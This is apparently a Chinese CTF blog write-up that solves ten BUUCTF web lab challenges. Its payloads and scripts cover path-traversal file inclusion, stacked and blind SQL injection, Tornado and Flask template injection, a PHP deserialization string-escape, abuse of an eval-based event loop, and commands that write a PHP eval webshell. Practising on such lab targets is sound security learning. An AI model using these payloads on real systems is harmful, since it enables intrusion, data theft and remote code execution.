BUUCTF平台 web writeup

前几天队群里发的一个题目平台,题目质量挺不错的,都是些比赛的原题,刚好放假了,记录一下顺便督促自己
不定时更新。。。

1.Warmup

题目链接:靶机
进去一张滑稽,f12后看到注释source.php,访问后给出源码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

可以访问hint.php,给出提示:flag not here, and flag in ffffllllaaaagggg
提取了file中第一个?前面的部分,判断是否在白名单中,没有做路径穿越的限制,直接包含即可:
payload1: http://web5.buuoj.cn/source.php?file=source.php?/../../../../ffffllllaaaagggg
payload2: http://web5.buuoj.cn/source.php?file=source.php%253f/../../../../ffffllllaaaagggg

2.随便注

题目链接:http://web16.buuoj.cn/
只有一个输入框,尝试1'后报错:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

尝试了一下以为是布尔盲注:
-1%27%20or%20ascii(substr(database(),1,1))>1%23
写了个脚本之后发现网络环境不太好,老是断,就没再做
第二天又尝试了一下,发现并没有我想的那么简单,存在过滤:

preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试堆叠注入,得到数据库名:
-1%27%3Bshow%20databases%3B%23

-1%27%3Bshow%20tables%3B%23
有两个表:1919810931114514和words
分别查看
-1%27%3B+show+columns+from+`1919810931114514`%3B%23
-1%27%3B+show+columns+from+`words`%3B%23
查看表中数据,发现flag在1919810931114514这个表里
这里经过google之后有两种思路:
1.预处理
mysql有这种用法:
prepare 变量名 from sql语句;
execute 变量名:
例如:
prepare hello from 'select database()';
execute hello;

因为过滤了select,所以我们可以用concat在prepare语句中进行拼接,然后执行:
set @query=concat(char(115,101,108,101,99,116)," flag from `1919810931114514`");
prepare hello from @query;
execute hello;
这里使用了临时变量query,不用的话会报错,不知道为什么,如果有谁知道请务必告诉我,谢谢
最终payload:
inject=-1%27%3BSet+%40query%3Dconcat%28char%28115%2C101%2C108%2C101%2C99%2C116%29%2C"+%60flag%60+from+%601919810931114514%60"%29%3BPREPARE+hello+from+%40query%3BEXECUTE+hello%3B%23
刚开始用的小写发现对set和prepare有过滤:strstr($inject, "set") && strstr($inject, "prepare")
改用大写即可

2.重命名
这思路很骚
当前使用的库有两张表,输入1,2或者1' or 1#得到的回显明显是words表中的,即默认的查询是对words表的查询,他有两个字段:id和data,可以进行如下更改:
rename table `words` to `other`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(50);
把原本的words表改为其他名字,把存有flag的表名改为words,把flag名字改为id
payload:
inject=%27%3Brename+table+%60words%60+to+%60other%60%3Brename+table+%601919810931114514%60+to+%60words%60%3Balter+table+%60words%60+change+%60flag%60+%60id%60+varchar%2850%29%3B%23
然后提交1' or 1#获得flag

3.高明的黑客

题目链接:http://web15.buuoj.cn/
进去后直接提示www.tar.gz
下载后得到一堆(3000个左右)的php文件,内容很奇特,有大量的获取$_GET请求和eval,但测试几个均无法执行,写脚本搜索真正的后门:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2019-06-28 18:45
# @Author  : Eustiar
# @File    : findexp.py
import requests
import os
import multiprocessing
path = 'src目录'
def testone(name):
    print('尝试:{}'.format(name))
    with open(path + '/' + name) as f:
        text = f.readlines()
        gets = []
        for i in text:
            start = i.find("$_GET['")
            if start != -1:
                end = i.find("']", start)
                gets.append(i[start+7: end])
    for i in gets:
        res = requests.get('http://localhost:8080/src/{}?{}=echo%20Eustiar;'.format(name, i))
        if 'Eustiar' in res.text:
            print('成功,文件%s口令为:%s' % (name, i))
            return i
    return False

def testall(allfile):
    for i in allfile:
        result = testone(i)
        if result:
            return True

def main():
    filenames = []
    for i, j, k in os.walk(path):
        filenames = k
    # testall(filenames)
    pool = multiprocessing.Pool(processes=30)
    for i in range(0, len(filenames), 100):
        pool.apply_async(testall, args=(set(filenames[i:i+100]),))
    pool.close()
    pool.join()
if __name__ == '__main__':
    main()

跑了几分钟跑出来
payload:
xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

4. easy_tornado

题目链接:http://web9.buuoj.cn/
进去之后有三个链接,内容分别如下:
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
同时它的url也很有意思:
file?filename=/hints.txt&filehash=bf60e1051f59dbb931208200bcf8c08e
改变filename时会重定向至error?msg=Error报错
猜测要获得cookie_secret然后根据hint的方式来读取/fllllllllllllag
下面就是要找cookie_secret
题目名为easy_tornado,tornado是python的一个轻量级web框架,猜测存在ssti,尝试msg={{7*7}}返回ORZ,说明的确存在ssti
尝试 msg={{handler}}
返回 <__main__.ErrorHandler object at 0x7f243640d2d0>
由 msg={{handler.settings}}得到secret:

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'}

构造读取即可
payload:
file?filename=/fllllllllllllag&filehash=70aed71508e50d160a73756a21e9953d

5.piapiapia

题目链接:http://web1.buuoj.cn/
进去之后是一个登录界面,试了一下register.php发现可以注册,注册完成后登录跳转到update.php,让填手机、邮箱、nickname以及上传一个图片,我尝试上传一个php文件,提示图片尺寸大小不对,以为是getimagesize的那个漏洞,又试了一下,发现什么格式的东西都能往上传。。。
尝试了半天无果,google了一下发现,这题应该0ctf2016的题,原题是给源码的,淦!
代码如下:
config.php

<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

class.php

<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');       #\   \\ 
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

可以看到flag在config.php中
profile.php中

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

有一个反序列化,初步思路是构造$profile修改photo来读取config.php
寻找profile的赋值
在update.php中可以看到,就是之前提到的提交的四个值
将四个值存放在一个数组中,序列化后存入数据库
初步没有发现可以利用的地方,继续看,发现在class.php中有这样一个方法:

public function filter($string) {
        $escape = array('\'', '\\\\');       #\   \\ 
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

这是一个防止sql注入的过滤方法,对输入中的单引号、反斜杠以及一些敏感词进行替换
在user类提供的方法例如update_profile等函数中,先使用这个函数对输入参数进行了处理
但是注意,在update.php中,调用update_profile时,传入的是已经序列化的数组字符串
对于 select insert update delete四个单词,长度都是6,替换为hacker后不变
而对于 where,长度为5,替换为hacker后长度发生了改变,这里就有可以利用的地方了,具体如下:
对于这样一个序列化的数组
a:2:{i:0;s:5:"where";i:1;s:5:"world";}
经过filter后变为
a:2:{i:0;s:5:"hacker";i:1;s:5:"world";}
当然,如果对这个字符串直接进行反序列化,会失败,但是考虑,对于多出来的这个字母r,如果他不只是r,而是";i:1;s:5:"world";}
则应为:
a:2:{i:0;s:5:"hacke";i:1;s:5:"world";}";i:1;s:5:"world";}
php反序列化时会忽略后面的非法部分";i:1;s:5:"world";},所以可以反序列化成功,这样一来,我们只需多输入几个where,就可以控制profile
在updata.php中对nickname的检验如下:

preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10

使用数组传递即可绕过,即nickname[]
要逃逸的内容为";}s:5:"photo";s:10:"config.php";}共34个字符,所以需要34个where

在profile页面找到base64后的config.php

解码得到flag

6.Hack World

题目链接:http://web43.buuoj.cn/
直接给出了表名flag和字段名flag
布尔盲注,使用异或即可
过滤了空格,可以使用tab或者()
脚本:

def sql():
    dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation
    flag = ''
    length = 0
    for i in range(1,40):
        length = len(flag)
        for j in dic:
            time.sleep(0.05)
            url1 = 'http://web43.buuoj.cn/index.php'
            data = {'id': '1^(ascii(substring((select(flag)from(flag)),{},1))={})'.format(i, ord(j))}
            res = requests.post(url1, data=data)
            if 'Error' in res.text:
            # if res.elapsed.seconds >= 1:
                flag += j
                print(flag)
                break
        if length == len(flag):
            break
if __name__ == '__main__':
    sql()

每次请求加了0.05s的延时,因为我刚开始没有加的时候总是跑到一半就断了,不知道是我的网的问题还是靶机的问题

7.homebrew event loop

题目链接:http://web29.buuoj.cn/d5afe1f66147e857/

这个是ddctf的一道题,当时做了没有写wp,刚好借这个机会写一下

进去之后有几个选项,分别是查看源代码,商店,重置,返回首页
源码是使用flask框架写的web服务:

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return 'flag{************************}'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('app1.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! 😉 <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

商店可以花费1个点数购买1个diamond,初始有3点数
分析源码
有FLAG()这样一个函数可以获得flag,我们的目标就是触发它
有show_flag_function这样一个函数,不过是用来皮一下的,没有用处
还有一个get_flag_handler函数,当我们的diamond不少于5时调用了FLAG()
整个服务的流程大致如下:
用户发送这种形式的get请求action:view;shop,在视图函数entry_point中,首先触发trigger_event,将event加入任务队列和日志,然后触发execute_event_loop依次执行任务日志中的event
主要来看execute_event_loop的逻辑

从任务队列request.event_queue中每个event依次做以下处理:
判断是否以action:或func:开头,否则跳过
检查是否都是合法字符[a-zA-Z0-9_:;#],否则跳过
提取第一个:到第一个;之间的部分为action
提取第一个;之后的部分,以#做split后作为args
然后使用了危险函数eval来执行提供的函数,但是action是我们可以控制的,可以使用action=函数名# 的方式来忽略掉后面附加的部分,来执行自己想要的带参数(前面提到的args)的函数
FLAG()没有参数,无法直接调用
仔细观察可以发现买钻石的逻辑是先货后钱,二者是作为两个event存在的,所以可以考虑能否在二者之间插入执行get_flag_handler这个函数
添加event到任务队列中的函数是trigger_event,且恰好有一个参数,所以我们可以用前面提到的eval来执行这个函数,将买钻石和getflag加入任务队列:
?action:trigger_event%23;action:buy;5%23action:get_flag;
注意#要以%23的形式传递,不然会报错
trigger_event还将event记录加入了log,get_flag_handler也是调用FLAG后将其作为参数使用了trigger_event,我们可以从cookie中找到对应记录

session解密即可得到flag

8.unicorn shop

题目链接:http://web3.buuoj.cn/

进去之后是这样一个界面,可以提交商品号和价格,我试了一下,id这一项只有4提交有效,但此时会提示money不够,而价格这里根据回显:
Only one char(?) allowed!
只能提交一个字符
既然如此,尝试在price这一项提交一些非常规字符,比如%0a

发现报错了,而提交%97,又是另一种报错

尝试%97%df发现也是这一类报错,猜测应该提交某种utf8形式的编码,查一下unicode编码表,有本身代表较大数字的,比如\u2182代表10000,\u137c也代表10000,对应的utf8编码分别为\xe2\x86\x82,\xe1\x8d\xbc,提交任意一种即可

9.ctf473831530_2018_web_virink_web

<?php
    $sandbox = '/www/sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']);
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 20) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    echo "<br /> IP : {\$_SERVER['REMOTE_ADDR']}";
?>

详情参考我另一片文章
这一题的条件宽松的多,20个字符,可以直接写个一句话木马
ip他给了,路径算一下md5就行

?cmd=>eval\(\$_GET[1]\)\;
?cmd=>\<\?php
?cmd=ls -t>1.php

10.shrine

靶机: http://web25.buuoj.cn
ssti,看这篇文章
payload:
http://web25.buuoj.cn/shrine/%7B%7Burl_for.__globals__[%27current_app%27].config[%27FLAG%27]%7D%7D

未完待续,随缘更新

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注